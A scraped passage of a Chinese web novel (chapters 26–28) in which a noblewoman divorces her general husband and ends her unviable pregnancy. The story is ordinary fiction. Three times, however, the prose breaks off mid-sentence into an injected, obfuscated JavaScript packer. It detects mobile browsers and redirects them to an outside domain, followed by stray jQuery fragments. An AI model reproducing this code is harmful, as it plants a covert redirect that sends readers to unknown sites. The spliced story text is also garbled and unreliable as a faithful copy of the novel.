谢羡风搭乘车轿离开后,客栈之内便只剩下了李衡和莫盈儿二人。 李衡红着脸站了起来:“师姐,那你先好好休息,我……明天再来看你。” 莫盈儿轻轻点头。李衡便走出了房门,却不知是想起了什么,踌躇半天,终是又踏回了门槛。 “师姐,我可以问你一个问题吗?” “嗯。” “你是不是心里其实很遗憾?”李衡忐忑不安地看向了她的双眼,试图找寻一丝痕迹,“……当年,没能嫁给师兄。” 莫盈儿只是淡淡一笑。 “过去的事,何必再谈。” “如今,我只想开始新的生活。” *** 待谢羡风打点好一切,回到了临州,已是七日后的事了。 他疲累地揉着眉心,刚脱下外衣,无意间看见衣橱里挂了一件蜀锦裁制的棉袍。 那棉袍的衣角还残留着绣到一半的针脚没有剪断。 便叫来下人询问:“这是什么?” 那小厮便解释道:“这是夫人为将军赶制的冬衣,绣到一半因事耽搁了,奴才这才暂且收了起来。” 谢羡风望着那制了一半的棉袍,摊在圆桌上。 那一丝一线,每一个针脚都是经她的手,亲自缝纫。 谢羡风脑海中忽地浮现起慕溶月秉烛绣衣的画面。烛光闪烁,她微眯着眼眸,神色稍显疲态,心里却惦记着他,而忍住倦意再绣上一针,又一针……直到染上风寒,头疼欲裂。 她分明那样在乎他。 谢羡风的眉眼之中多了几分晦深的情绪,心头也不禁动摇起来。 分开的这些时日,他也想了许多。 或许,是他脾性太过孤僻乖戾。 他自幼见过太多的欺骗、冷漠、与背叛。 他原以为,家庭,眷侣……这些意象都离他太过遥远。 他从未对哪个女人动过心,更不曾想过,和谁恩爱偕老、结发终身。 他的双亲彼此并没有什么感情,在被流匪捉拿时,他们相互出卖,只为了踩着对方的尸首活下去。 后来,是莫老将军收留了他,容许他暂住在自己的家里。 直到那时,谢羡风才算见证过了寻常人家的幸福模样。夫妻恩爱两不疑,父女舐犊之情深……日子虽平淡,却也和睦美满。 这一幅愿景,就像是可望而不可即的虚境,他从未想过,有朝一日也会发生在自己身上。 就在他以为自己也要有家了的时候,莫老将军却死在了被贬官的路上。 而他也被现实一掌打醒,原来慕溶月的母亲,便是皇帝的皇姊。 原来他与她的开端,便是始于一场肮脏的阴谋。 那一瞬,他眼前突然模糊起来……他好似回到了多年前被土匪扣留的那日,他被粗绳捆绑,只能眼睁睁地看着母亲被当众侵污,而父亲则被乱刀捅死。 ……他又没有家了。 谢羡风情不自禁攥紧了手中的棉袍,指腹渐渐用力,直到指节发白。 终于,他猛地松开了手。 “去把夫人请来,我有话想同她说。” 他平静地下了命令,那小厮却是噗通一声跪在了地上,结结巴巴地解释:“夫人……夫人她不在府中。” 谢羡风眉头微微蹙起。 “她去哪儿了?” “奴才也不知情……”小厮转身拿来了一叠信封,“只是,前日从官府送来了这个,奴才正想拿给大人。” 谢羡风撕开封口,一眼扫见那官府的盖印,心中一紧。 他拆开了信,赫然映出的“休夫”二字,蓦然刺痛了他的眼。 手中的棉袍终是滑落在地——衣襟口被翻散开来,露出了那轮绣到一半的云绕皎月,针脚都还未抚平。 却再没了她的余温。 26. 第二十六天 慕溶月一身冷汗地从床榻上惊坐了起来。 门外的杏雨闻声,马上去端了暖帕和热水走进来,心疼地为她擦拭脸庞:“小姐又做噩梦了……” 这几日,慕溶月回了母家,却每夜都会从噩梦中惊醒。 她总是反复地梦到从前在将军府的日子。 梦到她每日每日为谢羡风端上的暖手茶;梦到她亲手为他缝制了一件又一件的寝衣;梦到她囫囵吞下他夹的香菜、而生了一背的红疹;梦到那被烧焦的香囊;梦到她在青林山上的惊魂一夜…… 最后……她还会梦到她腹中那还未成形的胎儿。 每到这时,她总是从梦魇中惊醒,愧疚地捂住腹部,剧痛难忍。 慕溶月终于在痛苦中意识到,原来他会渐渐地接受她,只不过是因为她的好,是利他的。 她燃烧自己温暖他,他对她却只是感动;是怜悯;也是施舍。 那不是她想要的爱。 所幸,她现在明白得还不算太晚。 擦去浑身冷汗后,慕溶月又躺回了床褥之中,却是再也无法合眼。 杏雨去叫来了府中的家医,那太医却只为慕溶月开了几味安神药,摇头叹道:“夫人这是心症,老夫只能治标而非治本,终是解铃还须系铃人。” 就在慕溶月辗转失眠的第七日,午后天晴,她正在寝房之中读书品茗。 杏雨忽然小跑进了暖帐,看向主子,忐忑不安地传话:“小姐,是谢将军来了。” 慕溶月先是迟疑了一秒,随即放下了手中的书卷,敛裙起身。 “他来了也罢。正好,我也有些东西想还给他。” 这几日,她闲时便会整理旧物,翻出来了不少昔日的物样。 慕溶月来到了正堂内,谢羡风已然在屏风后站着等她了。透过屏风的轻纱,她依稀可以看见谢羡风的身影。他静默地立在原地,四指轻覆在桌上还未来得及收好的那把琴筝之上,神情若有所思。 “杏雨,去把琴筝收起来。” 一声吩咐遽然打断了谢羡风的思绪。 他眸光幽暗地回过头,目光落在了那琴身之上,倏地滞了一瞬。 不知怎么,他忽而伸手阻拦了杏雨上前,脱口便道: “那夜我在月前练剑,你伴奏的那首曲子……能不能再为我弹一次?” 慕溶月愣怔了几许,随即轻笑了一下。 “将军说笑了。” 她露出了疏淡而清幽的笑,反问道,“将军难道忘了吗?那时,是将军说不要再在你面前弹琴了,我才叫人收起琴筝的。” 话音落下,谢羡风也渐渐地回想起来了。 不由得喉头干涩。 那时,他的确是说过,让她往后不要再在他面前弹这样的曲子。 可他当时只是听闻她要将他往外人身上推,一时恼怒,不知从何宣泄,才胡乱找个由头堵住她的嘴。 到头来,却是他自己最先将说过的话忘了。 如今,这琴音,是想听也听不到了。 见谢羡风不动了,慕溶月便垂眸示意,杏雨便上前抱过了琴筝收走:“多谢将军。” 话音落下,谢羡风缓缓抬起眼,目光从慕溶月面颊上一寸一寸地扫过。 一别数日,她变了许多。 她清减了,单薄的身子在冗长的裙袍之中撑着,小腹微微隆起,将腰肢压得堪堪欲坠。双目无神,面颊也呈现出病态的苍白,毫无生气,弱不禁风。 看见他来,慕溶月眼光里再没了从前的那般愉悦欢欣,而只是淡淡地侧过身子,脸上也没什么表情。 直到这时,谢羡风才恍然地意识到,原来,她病了。 在他的眼中,她向来都是生龙活虎,天真烂漫的。 如今,这是他第一次见她这般模样,判若两人,满目凄楚。仿佛蜕了一层皮,被浪冲上岸而搁浅的鱼。 她还怀着他的身孕,这些时日,他确是有些冷落她了。 她一定是怀着满腹的委屈,才会一怒之下写出那休书来。 谢羡风不禁动容了几分,话到唇边也逐渐软了下来。 “这些日子,我已经想通了。” “那日,是我口不择言。那样的话,我今后不会再说了。” “我今日是来接你回家的。我会请来太医亲自照顾你,直到你生下孩儿,我哪儿也不去。” 他好似仍然以为,她只是一时闹脾气。只要他稍微低头,哄一哄,她便会消气,会回到他的身边。 慕溶月望着谢羡风的神色逐渐变得凝重起来。 “将军。” 她蓦地开口,谢羡风闻声而视,两人目光交汇的瞬间,慕溶月直视着他的眼,一字一顿道。 “我不会再回去了。” 闻此言,谢羡风的神情逐渐地僵住。 直到这时,谢羡风才后知后觉地意识到,她是认真的。 慕溶月又在这时开口道:“我知道,当年皇舅为你我赐婚一事,一直是你心中的一个结。这个结,酿成了心魔,重伤了你我。” 她说到后面,语气也渐渐柔和了下来,仿佛真的已然释怀了,“既然如此,我便还你自由。从今往后,你不必再压抑本心了。你可以去做任何你想做的事,去保护任何你想保护的人。” 闻此言,谢羡风久久地沉默,忽而拧起眉心,反问: “你方才叫我什么?” 他直到这时才注意到,不知何时起,她不再唤他“阿羡”了。 慕溶月只是不以为意地笑了一下,继而一挥手,吩咐下人们搬出了成堆的箱箧来。有金银珠器、书卷字画、绫罗绸缎…… 都是他这些年送过她的东西。 其中,还有一盒方箧。 那方箧只有巴掌大小,被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14493599|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 侍女打开,露出了里面的物件。 “这些,便是这些年来,将军曾赠予我的礼物。如今,我想把它们归还于将军,算是两不相欠了。” 那敞开的箧子里,只有一样东西。 一对儿泥面小人。 一左一右,一男一女,粉袄子和虎头帽,并肩静静地躺在里头。 那右边残缺的小泥人头顶上,还戴着一顶粗糙的泥帽。 谢羡风盯了片刻,终于认出来了。 一个是他捏的;一个是他买的。 都是他曾经送给慕溶月的东西。 谢羡风的心口兀地沉闷起来,扭过身,不愿去看。 “既是送出去的礼物,就没有收回来的道理。你留着吧。” 那侍女见谢羡风不收这方箧,只好又端着往回走去,却在路过时不小心撞到了桌角,那方箧被摔在了地上,两个泥小人顿时裂成了碎片。 侍女吓得连忙认罪,“对不起,对不起……”谢羡风下意识地欲弯腰去捡,下一刻,空中却传来一声轻轻的叹息。 “既然你我都不想留着,看来,这便是天意了。” 谢羡风伸手捡拾的动作就这样僵在了半空之中。 “东西原本没有任何意义,其价值都是受人赋予的。若被人珍惜,便是万金不换;若被人轻贱,便是一文不值。”慕溶月喃喃自语着,忽而道,“杏雨,去把残渣扫了吧。” 谢羡风就这样收回了手,缓缓直起了身。 他退回这些东西,原本只是想着此物从前是慕溶月的心头之爱,经她这样一说,反倒显得他好似有几分嫌弃之意。 谢羡风站在一旁,眼睁睁看着杏雨拿来笤帚将那泥人的碎片清扫干净,仿佛对待一堆无关紧要的垃圾……他看得不禁眉头紧皱,表情也越来越肃穆。 可那是她曾经视若珍宝、爱不释手的礼物。 难道,她真的一点也不在乎了? 谢羡风眸底结上了一层霜,紧攥成拳的双手,又缓缓地松开。 再开口时,他的姿态进一步地放低。 “阿月,你误会了。” 慕溶月的神色也有一瞬的迟缓。 这似乎是他第一次亲昵地唤她“阿月”。 却是在她已经下定决心要休夫之后。 慕溶月顿感啼笑皆非,原是多么的讽刺啊。 “我没有真的要娶莫盈儿进门,自从我和你成亲后,就没有想过纳妾。”谢羡风态度坚定,想要澄清他们之间的误解,“……现在不会,以后也不会。” 他还记着那日慕溶月挂在枝头的心愿。 一生一世一双人。 他还好好地记在心上,未曾忘却。 “将军也误会了。” 慕溶月却轻轻地摇了一下头。 “我并不是因为你纳妾才要休夫,”她说,“我只是不爱你了。” 27. 第二十七天 无形的暗流在屋内涌动,压抑的气氛如同流沙,侵蚀着谢羡风最后一丝的理智。 谢羡风心中酸涩,涌动着一股说不出的感觉。 那个会在树前说出“他朝若是同淋雪,此生也算共白头”的人;那个许下誓言愿与他“一生一世一双人”的人——今朝一句“不爱了”,怎能抽离得如此迅速? 她还怀着他的孩子;她曾不分昼夜地亲手为他缝制冬衣;她关心着他,关心到即便受了委屈,却也还愿意舍下颜面为他端来那一盏暖手茶…… 难道,这些都是虚情假意,是逢场作戏吗? 谢羡风忽而感到很是陌生。 慕溶月好像变了。 她再也没有了从前那低眉顺眼、贤惠淑德的模样。 或许,这才是她原本的样子。 她已将他的物品悉数归还,这便是要与他划清界限; 她还亲自写了他的休夫书。那一句“解怨释结,更莫相憎;一别两宽,各生欢喜。”字字亲笔,工整隽永,并不像是盛怒之下潦草的气话。 谢羡风的声音有些发颤。 “所以,你是真的要同我和离。” “不是和离,”慕溶月遽然打断道,“是休夫。” 那文书上已经加盖了官府的官印,事已至此,早就没有了挽回的余地。 谢羡风心绪缭乱,一丝一缕的呼吸都变得沉重。 “……可我毕竟是你腹中孩儿的生父。你怎能……” 话音落下,慕溶月像是被触了逆鳞,蓦然抬头,语气带着一丝愠怒。 “这是我的孩子,她的父亲是谁,自然由我说了算——与将军无关。” 这话说得不假。 慕溶月身为长公主的嫡女,只要她开口,自然是一呼百应,数不胜数的男人都会前赴后继来争着做这皇族子嗣的继父。 她本就是这般玉叶金柯、高不可攀的存在。 只是她留在他身边太久,久到他几乎都已经忘了,她原也是如此矜贵。 对她们这样的高门贵女而言,男女之爱不过是一场角逐游戏。情到浓时难舍难分,轰轰烈烈;但若是一朝冷却,也自然可以退步抽身,片叶不沾——她有这样的资本。 是他擅自将自己的期许灌注在她身上,直到这一场戏演到落幕才知押错了人。 谢羡风缓缓吐出一口浊气,冷眸幽深,写满了失望。 “我原以为,你和那些女人是不一样的。” “如今看来,你和她们其实也没有什么分别。” 这般狠绝的话,慕溶月听了,却也只是淡淡一笑。 “将军,你于我而言,又何尝不是如此。” 话音落下,谢羡风的眉头微皱。 “是我的爱,为你镶了一层金边。” 慕溶月的目光毫不避讳地落在了他的身上,那冰冷而带着审视的视线,从头到脚地扫过,仿若一寸一寸地描摹着他的眉眼与轮廓,他愠怒时微蹙的眉心,他无言时抿起的嘴角…… “若没有了这份爱,仔细看来……” “你好像也没什么特别。” 时至今日,慕溶月才领悟了一个道理。 爱上一个人,就好似亲手递给了他一把朝向自己的刀子。 原来,想通就是一瞬间的事。 如今,慕溶月已经收回了他持刀的权力,便也不会再被他的冷漠所伤了。 她的心口早已被破开了一个洞,沉坠得像灌满了冷铅。现在再看见谢羡风那冰冷刺骨的眼,她的心中已经不会再有任何的波澜了。 慕溶月说这话时,面色凝重而平静。随着话音落下,她的眼底也染上了几分如释重负,终而归于宁静,宛若巨石沉底后的水波不兴。 谢羡风的心绪也彻底乱了。 他垂头看向眼前人,他们二人分明近在咫尺,却好似生生横隔了一堵密不透风的墙。隔着墙,慕溶月眼神清明,如冷冽山泉,看不到一丝的感情。 谢羡风忽地震颤,最终缓缓点头。 “好。那就如你所愿。” 一句多余的话也没有。 谢羡风转过了身,黑袍在空中带起了一阵风。他没有回头,而只给慕溶月留下了一个颀长的背影。 一个要走,一个也不打算留。谢羡风大袖一挥,守在门外的侍卫便一拥而起,他阔步上了马车,车轿的扬尘很快便消失在了街道的尽头。 清月阁内,仍旧是一片寂静。 “小姐……” 杏雨生怯地回到了慕溶月身边,仔细地瞧着她的脸色,像是想找出她是不是还在暗自伤心。 可慕溶月的神色却很平淡。 那样的淡然,不着痕迹。静得仿若一潭死水。 “杏雨,你说,我是不是该大哭一场?”她忽然喃喃低语起来,“我在他身上白白浪费了两年的时间,到头来,什么也没留下。” “可是,比起悲恸……我竟然反倒觉得解脱。” 她再也不会使出浑身的解数,只为讨好一个并不在意自己的人;也再不会去试图改变自己,只为强融那个不属于她的圈子…… 如今回首,这一桩桩傻事,犹如积压在她心头的一颗颗滚石,如今皆是化作烟消云散,无影无踪。 这一刻,她才终于感受到了真正的自由。 …… 在回临州城的路上,谢羡风坐在马轿之内,闭目无言,眉头却紧蹙着,浑身透着一股不怒自威的气魄。 他一言不发,只有脸色阴沉得骇人。 尽管将军只字未提,但身为他的亲信,刘彰仍旧可以猜出他此刻的心境,定是差到了谷底。 但是,手握缰绳,刘彰仍然硬着头皮问:“将军,要回府吗?” 哪壶不开提哪壶。 谢羡风眼前又浮现那座空荡荡的庭院,心情更是阴郁了几分。 罢了。 圣旨已下,他很快将去戍守边疆。 纵使真的无家可归,这也没什么要紧的。 反正也只是回到从前的生活。 他早就习惯了的生活。 在最初,他原本就从未想过,有朝一日会与谁白头偕老,厮守余生。 如今这般,也只是回到了原先的正轨而已。 至于前妻的存在……于他而言,也只不过是可有可无。 他很快便会忘掉她,开始新的生活。 …… *** 夜晚的清月阁,三两丫鬟在前面提灯开路。 暖帐被掀开,杏雨在门边唤道:“老夫人来了。” 慕溶月便放下手中书卷随之站了起身。这几日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14497796|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发生的事太多,她也该给母亲一个解释了。 “我都听说了这些事。”沈惠心一进房门,便急急忙忙地拉着她的手问,“你是真想好了,要休夫?” 慕溶月点了点头。沈惠心神色一变,顿了顿,又道:“你休夫,我倒不是有什么意见。只是……这孩子,你打算怎么办?” 慕溶月的眼神微微黯淡下来。 “太医说,这孩子已经伤了根本,体质虚弱,无法挽治了。”她缓声道,“……我不想她来这人世间受苦。” 她说这话,沈惠心便知道她的意思了。 虽然她表面上说得云淡风轻,可沈惠心却知道,她是花了多大的勇气才能做出这番决定,要拿掉孩子,心里最痛的人是她。 “好,我支持你。”于是,沈惠心便攥紧了女儿的手,语重心长地安慰道,“日子终究是你在过,是甜是苦,冷暖自知。你若还没有做好那个准备迎接这个孩子,那么放她离开,也是一种福德。” 慕溶月心中一恸,鼻间竟有几分酸涩。 “如今,你与他和离了也好。吃一堑长一智,往后你便会懂得什么值得,什么不值得了。月儿,你要知道,这世间最不缺的便是男人。往后,你若再有了别的心上人,我便许你婚配,没人敢有二话。若你没有了相中的,你就是留在闺阁里,母亲也能养你一辈子。”沈惠心揽过慕溶月的肩头,轻拍她的背,将她抱在了怀里,就如同幼时哄她那般,“就如你所说,你是我常宁公主的女儿。从今往后,我绝不会再让任何人委屈了你。” “母亲……” 慕溶月的眼眶终于湿润了起来,情难自已,靠在母亲怀中啜泣起来。 她原本以为,自己能忍住不哭的。 这一回,却不是为谢羡风,而是为了母亲。 从前受再多的委屈,她也都能忍过来,毕竟那是她自己选择的路,怨不得任何人。可偏偏这满腹的委屈,从沈惠心嘴里过了一遭说了出来,她便再也绷不住了,眼泪犹如断线的珠子落下。 而沈惠心也只是轻轻哄拍着慕溶月的肩背。 “哭吧。将心中的酸楚化作泪水一并哭出来,这道坎才算是过去了。” “而今,是女儿亲手了结了这桩婚事。在这场婚姻里,女儿已经做了能做的一切,今后便不会再后悔。”慕溶月垂泪地哽咽道,“从前是女儿太不懂事,一心只想着自己,为了情爱冲昏头脑,任性妄为。如今月儿长大了,也会担起慕家儿女的责任,守护家族,光耀门楣。” “经此一事,能让我的月儿有这般领悟,也算不赖。”沈惠心欣慰地抚摩着她的耳鬓,“或许,人都要经历过才会成长。月儿,你可以大胆地去试错。无论如何,都有我和你父亲为你兜底。” 在流干了最后一滴泪时,慕溶月终是长舒了一口气,心中的怨怼也终是消散了大半。 回想起这浮浮沉沉的两年,她终是痛苦地闭上了眼。谢羡风曾对她的那些伤害,好似刀剑刺在心口,剜开皮肉,刮骨剥筋。 曾经令她伤痛欲绝的往事,如今想来,好似黄粱一场梦。亦如曲终人散后,江水依旧东流,峰峦叠起,青山依旧。 唯有刨净腐肉与毒脓,新的皮肉才能生长。 如今,她终于可以放下对他的执念。 她终于可以做回她自己了。 28. 第二十八天 临州城,将军府。 凛冬已过,暖春初绽,雨润如酥。 将军府的门前围拢了一行护卫车队,其中便有前来为他践行的友人。 季林送上了一坛好酒祝行,心情沉重地叹了口气:“那荆川远在千里之外,这一走便不知是多久了,羡兄,一路保重啊。” 谢羡风一袭黑衣束身,斗笠盖住了漆黑如墨的眸子,显得清冷孤寂。 他略微点了点下颌,又问:“李衡呢?” “一眨眼的功夫,又不见了。”季林叹道,“这小子最近心情不大好,也不知是怎么了。” 谢羡风推门来到了后院,果不其然,李衡正坐在木桥上发神。 “师兄,你怎么来了?”李衡这时连忙站了起来,“东西都搬好了,可是要出发了?” 谢羡风只扫一眼,便知道他是在为何事而犯愁。 “盈儿最近怎么样了?” 闻言,李衡苦叹了一声:“她不愿意让我插手,自己回了外祖家,尚且走一步看一步吧。” 说着,又面有尬色地笑了一下,“其实我也能理解她,毕竟她从武多年,若是荒废了一身的武艺,改去当个小铺子的老板娘,岂不是可惜……” 谢羡风却讪笑一声,只道。 “可惜与否,全凭她自己做主,旁人又如何定义?” 李衡一时面露窘迫,只好点了下头:“师兄说得对。” 说着,他又忽然话音一转道,“不过,近来也不算是完全没有喜事。师兄,我就还没来得及恭喜你呢!” 话音落下,谢羡风渐渐皱起眉心。 “恭喜我什么?” 李衡却浑然没注意到谢羡风脸色的变化,而自顾自沉浸在欣喜里:“恭喜师兄你终于脱离苦海了呀!当初,要不是那慕氏去找圣上赐婚,你和师姐也就不至于沦落到如今这般局面……如今你们是真正和离了,可不就是脱离苦……” 他的话音逐渐消失在了谢羡风难看至极的脸色之下。 “师兄,我……” 不等李衡手忙脚乱地解释,谢羡风已然肃声打断了他的动作。 “跪着。” 李衡的表情顿时有如生吞苍蝇一般,他憋了许久,最后见谢羡风神色肃穆,便知道他是认真的。 于是,他只好缓缓地屈膝,跪在了地上,一副慌张的模样。 “师兄,我……我又说错了什么吗?” 谢羡风笠帽微垂,居高聛睨,冷冷道:“我早说过,我的私事,轮不上你插嘴。” 李衡一时间更是费解了。明明前几日从公主府回来时,也没见到谢羡风有多悲伤,现在他不过是提了一嘴,却惹得谢羡风发这样大的一通火。明明两人从前还在一起时,也没看出他有多疼爱那慕氏女。如今这是怎么了? “可是……” 见他还试图辩解,谢羡风更是失了耐性,拽着他的衣襟,将他从地上生生提起。 “你可知,你错在哪儿了?” 李衡吓得一个哆嗦:“师弟愚钝,请师兄赐教……” 谢羡风的质问劈头盖脸地砸来。 “那时在马场,你为何要故意跟她比球?” “从青林山上传下来的简信,你为何要擅自截走?” “我早就同你说过,不要插手我与你兄嫂的事——你为何偏要屡屡再犯?” “……” 李衡终于被怼得哑口无言,默默停下了挣扎的动作,颓丧地垂头不语。 谢羡风就在这时将他径直甩在了地上。 “你可知道,为何盈儿始终不肯接受你的好意?” 闻此言,李衡顿时直起了身子,难耐地仰起头来。 “为什么?” “你瞧瞧你如今的模样,”谢羡风冷冷道,“你以为,你做的那些事,她都被蒙在鼓里么?” 李衡虎躯一震,眼中再没了光芒。 “你且跪着吧,”谢羡风便不再多言,漠然地转身离去,“跪满四个时辰,再去领三十军棍,好生反省。” 大门缓缓地在李衡眼前合上,将他颓然的身影愈发拉长。 *** 清月阁内,苏凝兰撩开垂下的珠帘,手中捧着一箱满当的物件,里头琳琅满目,有鲁班锁、肚兜……还有不少苏凝兰亲手缝制的小衣服。 苏凝兰将这箱收拾出来的琐物交给了下人,慕溶月看了心中一酸,却道:“对不起,你特意跑一趟来看我,我却让你这义母的愿望落空了。” “说什么傻话?”苏凝兰笑了一下,坐在她身边,“我收起这些,只是怕你睹物伤情罢了。又不是要扔了,往后总还是用得上的。” 慕溶月点了点头。苏凝兰便轻轻挽住她的手,察觉到她的手心有几分湿热的颤意,便问:“人马上就要来了,你可准备好了?” 慕溶月深吸一口气,颔首。 “嗯。” “害怕吗?” 慕溶月低喃着,“最害怕的时候已经过去了。” 很快,房门便被推开。 未见其人,先闻其香。 慕溶月未几便认出了那撩人的馨香,是素芳斋的果酥,她最爱的甜点。 下一刻,宋景渊便从那屏风后走了出来。 他着一袭玄色长袍,面容端正,轮廓深邃,身旁还围绕着几个下人,他却亲自提着那一屉笼的酥点,平放在了桌上。 苏凝兰便起身笑道:“这就是你总挂在嘴边的国公大人吧?真是久仰了。” 闻言,宋景渊倒是一挑眉,反倒饶有兴致地追问起来:“挂在嘴边?慕娘子可都说起我什么了?” 苏凝兰看了慕溶月一眼,后者便率先开口接话道:“自然是说宋大人骑射之术技艺精湛,超乎常人。” 宋景渊微微点头,算是应了她这番奉承之辞。 “我暂且当作是慕娘子在恭维我吧。” 说完,又一挥手,传唤来了在门前候着的女太医。 “这位便是秋太医了,接下来便由她来调理慕娘子的身子吧。” 这位秋太医是宫中一位不可多得的女太医,医术高明,且专攻妇科,就曾将小产的淳贵妃调理得恢复如初。若不是有宋景渊在其中牵线,光靠慕溶月的本事还请不来这样的一位妙手神医。 “多谢宋大人……” 慕溶月正要起身行礼,宋景渊便顺势将她按回了床榻之上,笑道,“不必急着谢我,先诊脉吧。” 苏凝兰就在这时起身让出了路:“那你们先聊,月儿,我先去外面等着了。” “嗯,好。” 秋太医为慕溶月诊完脉,便开始为她调配适宜她体质的滑胎药。慕溶月看着那些草药被碾成粉末、装进药罐之中……忽觉一阵心悸,便惶惶不安地移过了头。宋景渊为了转移她的注意力,便忽然道:“想不到,再次见你,会是这样的场景。” 慕溶月苦笑一下:“……让宋大人见笑了。” 宋景渊早就听闻了慕溶月的事迹。这年代,女子怀胎本就是从鬼门关上走了一遭,就算查出腹中胎儿患有缺陷,多半也是舍不得这沉没成本的。可慕溶月却不一般,在面对这件大事时,她如此果决冷静,好似旁观者在分析全局、权衡利弊,最终选出那个最妥当的结果。 宋景渊第一次觉得,或许,是他素来低估了这女子身上蕴藏的力量。 不顾腿伤学骑射;冒着风险落胎……这桩桩件件,哪个不是需要莫大的勇气? 如此敢爱敢恨,拿得起也放得下,好一个爽快利落的性情中人。 “我并不觉得好笑。”于是,宋景渊打断了慕溶月的自嘲,认真道,“相反,慕娘子真是让宋某刮目相看。” 慕溶月神色微微一动,垂眸不语。 宋景渊便又反问起来:“慕娘子是有话想说?” 慕溶月犹豫了一瞬,最终还是感慨地看向他:“……似乎每次我落难时,总是宋大人出手相助。” “你这是想谢我啊?”宋景渊含笑地朝她靠近两步,低声道,“若真想表达感谢,不如用实际行动来佐证。” 慕溶月抬起首回他:“宋大人希望我怎么做?若有我能效劳之处,我必定倾囊相助。” “我倒真有一事想求你帮忙。”宋景渊幽幽道,“不过……你如今要紧的是先养好身子,再来谈其他的。” 终于等到偿还人情的时候了,慕溶月自是无法拒绝地点了点头。 很快,那一碗滑胎药就煎好了。太医将碗端在了慕溶月的面前,墨色的汤水,还冒着酸浓的热气,让人难以下口。 “此药苦口,”宋景渊便主动上前,将桌上的那盒酥果递了上去,“不如配上这津甜的酥果加以调和吧。” 慕溶月莞尔一笑,接过了盛满滑胎药的碗。 “宋大人心细,多谢。” 不过,她最终并没有搭配那果酥尝药。 那果子是她最爱的点心之一。她并不想从此往后每一次品尝起这果子的甘甜时,脑海中浮起的,却是这滑胎药的涩苦。 慕溶月捧着那碗汤药,手中沉重无比。最终,她闭上双眼,一饮而尽。 …… “将军,是时候启程了。” 空无一人的庭院前,雪梅已日渐凋零。干枯的枝头,徒有一缕缠绕的缎带在随风飘摇。 慕溶月与谢羡风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505921|150933||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分家后,搬走了府内所有的己物。她没有留下多少东西,偌大的将军府显得空荡荡的,没有半分人气。 除了这条丝带。 这条拴在他家门前的树上,寄托着她满腔的热忱与爱意的丝带。 或许是她走得急,一时忘了解下这丝带; 又或许是,她也不想收留这件物样——就好比她将他送过的东西都尽数还给了他一般。 无论如何,这条丝带最后就这样被无情地遗留在了风中,刺破了谢羡风的眼,颇有几分讥讽之感。 谢羡风站在树下,稍一抬手,便猛地扯下了那红缎带——上面墨笔晕染得早已模糊,依稀能够辨认出“一生一世一双人”的字样。 如今早已人去楼空,独留这一空想又有何意义。 失去意义的信物,和垃圾又有什么区别。 于是,谢羡风又渐渐松开手,眼看着那一抹红被风卷进了脚边的火盆之中,火光瞬间将其吞噬。 焚烧的焰火映亮了谢羡风的瞳仁,他神色变幻莫测。 …… 滑胎药起效了。 慕溶月一时失力,握不住的空碗落在了地上,碎成了好几瓣。 蚀骨钻心的痛袭来,慕溶月瘫倒在床上,脸色惨白,额头也布上了一层细密的虚汗。 “小姐,小姐……” 杏雨红了眼,连忙跪在床边攥住了慕溶月的手。 宋景渊看得绞心,正想说些什么,秋太医忽然拉住了床帘,将慕溶月狼狈不堪的模样遮挡住。 “接下来的事,还请国公爷避讳三分。” 宋景渊顿时会意,他一个外男身份在此逗留太久终是有所不便。于是,他主动退出了厢房。 “我就在门外候着,有事随时传我。” 秋太医颔首应是,一边拉上了暖帐。 从房中传来了阵阵哀痛的嘶吼,一盆盆清水端进去,却又变成一盆盆血水端出来。 苏凝兰闻此声,也不禁眼眶湿润。 “从前那连喝一碗中药也会叫苦的人,如今又怎能受得住这般的失子之痛。” 房中,慕溶月紧紧咬着暖巾,那身下的撕裂之痛,是任何伤痛都比不过的痛疚。 从她体内排出的恶露染红了床单,慕溶月逐渐感到,随着身体的一部分化作血水流逝,她的心也被骤然挖去了一块,空落落的。 往事一幕幕在眼前流转,那些爱与恨交织缠绕在一起,慕溶月终是流下了两行盈盈热泪。 “……再别了,我的孩儿……” …… 门前车马的嘈杂声将谢羡风的思绪拉回了眼前的场景。 面前的火焰愈烧愈烈,眼看着那一抹仅剩的红要彻底焚烧殆尽—— 谢羡风这才如梦初醒,陡然一脚踏翻了火盆,零碎的炭火撒了一地。 他顾不上疼痛,几乎出于本能地伸手从那堆烧得赤红的炭火里扯出了那一缕缎带—— 幸运的是,缎带堪堪保住了一半。 另一半,却是被烧焦化作了灰烬。 谢羡风望着手心的那缕残缺的缎带,边缘处已被烧得卷边翘起……他不由得失了神,眼前遽然浮现起了慕溶月为他亲手缝制的那枚香囊。 他到最后也没见到那香囊被烧焦后的模样,是否也如同这缎带一般,破碎不堪? 他心底兀地涌上一股不安感。 